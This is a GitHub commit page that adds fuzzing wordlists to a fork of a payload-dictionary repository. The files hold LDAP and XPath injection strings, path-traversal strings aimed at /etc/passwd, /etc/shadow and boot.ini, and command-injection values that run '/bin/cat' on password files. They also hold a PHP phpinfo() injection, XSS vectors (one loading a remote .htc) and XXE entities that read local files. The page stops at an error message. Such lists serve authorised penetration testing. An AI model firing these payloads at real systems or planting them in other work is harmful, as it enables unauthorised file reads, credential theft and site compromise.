forked from TheKingOfDuck/fuzzDicts
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
423dd47
commit b04a7bf
Showing
25 changed files
with
11,337 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
! | ||
%21 | ||
%26 | ||
%28 | ||
%29 | ||
%2A%28%7C%28mail%3D%2A%29%29 | ||
%2A%28%7C%28objectclass%3D%2A%29%29 | ||
%2A%7C | ||
%7C | ||
& | ||
( | ||
) | ||
*(|(mail=*)) | ||
*(|(objectclass=*)) | ||
*| | ||
| | ||
*()|&' | ||
admin* | ||
admin*)((|userpassword=*) | ||
*)(uid=*))(|(uid=* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,68 @@ | ||
../../../../../../../../../../../../etc/hosts%00 | ||
../../../../../../../../../../../../etc/hosts | ||
../../boot.ini | ||
/../../../../../../../../%2A | ||
../../../../../../../../../../../../etc/passwd%00 | ||
../../../../../../../../../../../../etc/passwd | ||
../../../../../../../../../../../../etc/shadow%00 | ||
../../../../../../../../../../../../etc/shadow | ||
/../../../../../../../../../../etc/passwd^^ | ||
/../../../../../../../../../../etc/shadow^^ | ||
/../../../../../../../../../../etc/passwd | ||
/../../../../../../../../../../etc/shadow | ||
/./././././././././././etc/passwd | ||
/./././././././././././etc/shadow | ||
\..\..\..\..\..\..\..\..\..\..\etc\passwd | ||
\..\..\..\..\..\..\..\..\..\..\etc\shadow | ||
..\..\..\..\..\..\..\..\..\..\etc\passwd | ||
..\..\..\..\..\..\..\..\..\..\etc\shadow | ||
/..\../..\../..\../..\../..\../..\../etc/passwd | ||
/..\../..\../..\../..\../..\../..\../etc/shadow | ||
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd | ||
.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow | ||
\..\..\..\..\..\..\..\..\..\..\etc\passwd%00 | ||
\..\..\..\..\..\..\..\..\..\..\etc\shadow%00 | ||
..\..\..\..\..\..\..\..\..\..\etc\passwd%00 | ||
..\..\..\..\..\..\..\..\..\..\etc\shadow%00 | ||
%0a/bin/cat%20/etc/passwd | ||
%0a/bin/cat%20/etc/shadow | ||
%00/etc/passwd%00 | ||
%00/etc/shadow%00 | ||
%00../../../../../../etc/passwd | ||
%00../../../../../../etc/shadow | ||
/../../../../../../../../../../../etc/passwd%00.jpg | ||
/../../../../../../../../../../../etc/passwd%00.html | ||
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd | ||
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow | ||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd | ||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow | ||
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00 | ||
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00 | ||
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00 | ||
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%255cboot.ini | ||
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini | ||
\\'/bin/cat%20/etc/passwd\\' | ||
\\'/bin/cat%20/etc/shadow\\' | ||
../../../../../../../../conf/server.xml | ||
/../../../../../../../../bin/id| | ||
C:/inetpub/wwwroot/global.asa | ||
C:\inetpub\wwwroot\global.asa | ||
C:/boot.ini | ||
C:\boot.ini | ||
../../../../../../../../../../../../localstart.asp%00 | ||
../../../../../../../../../../../../localstart.asp | ||
../../../../../../../../../../../../boot.ini%00 | ||
../../../../../../../../../../../../boot.ini | ||
/./././././././././././boot.ini | ||
/../../../../../../../../../../../boot.ini%00 | ||
/../../../../../../../../../../../boot.ini | ||
/..\../..\../..\../..\../..\../..\../boot.ini | ||
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini | ||
\..\..\..\..\..\..\..\..\..\..\boot.ini | ||
..\..\..\..\..\..\..\..\..\..\boot.ini%00 | ||
..\..\..\..\..\..\..\..\..\..\boot.ini | ||
/../../../../../../../../../../../boot.ini%00.html | ||
/../../../../../../../../../../../boot.ini%00.jpg | ||
/.../.../.../.../.../ | ||
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini | ||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
count(/child::node()) | ||
x' or name()='username' or 'x'='y | ||
<name>','')); phpinfo(); exit;/*</name> | ||
<![CDATA[<script>var n=0;while(true){n++;}</script>]]> | ||
<![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]> | ||
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo> | ||
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo> | ||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xxe;</foo> | ||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/passwd">]><foo>&xxe;</foo> | ||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/shadow">]><foo>&xxe;</foo> | ||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]><foo>&xxe;</foo> | ||
<xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> | ||
<xml ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | ||
<xml SRC="xsstest.xml" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | ||
<HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[> | ||
<!ENTITY xxe SYSTEM "file:///dev/random" >]><test>&xxe;</test> | ||
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><test>&xxe;</test> | ||
<!DOCTYPE foo [<!ENTITY xxefca0a SYSTEM "file:///etc/passwd"> ]> | ||
|
Oops, something went wrong.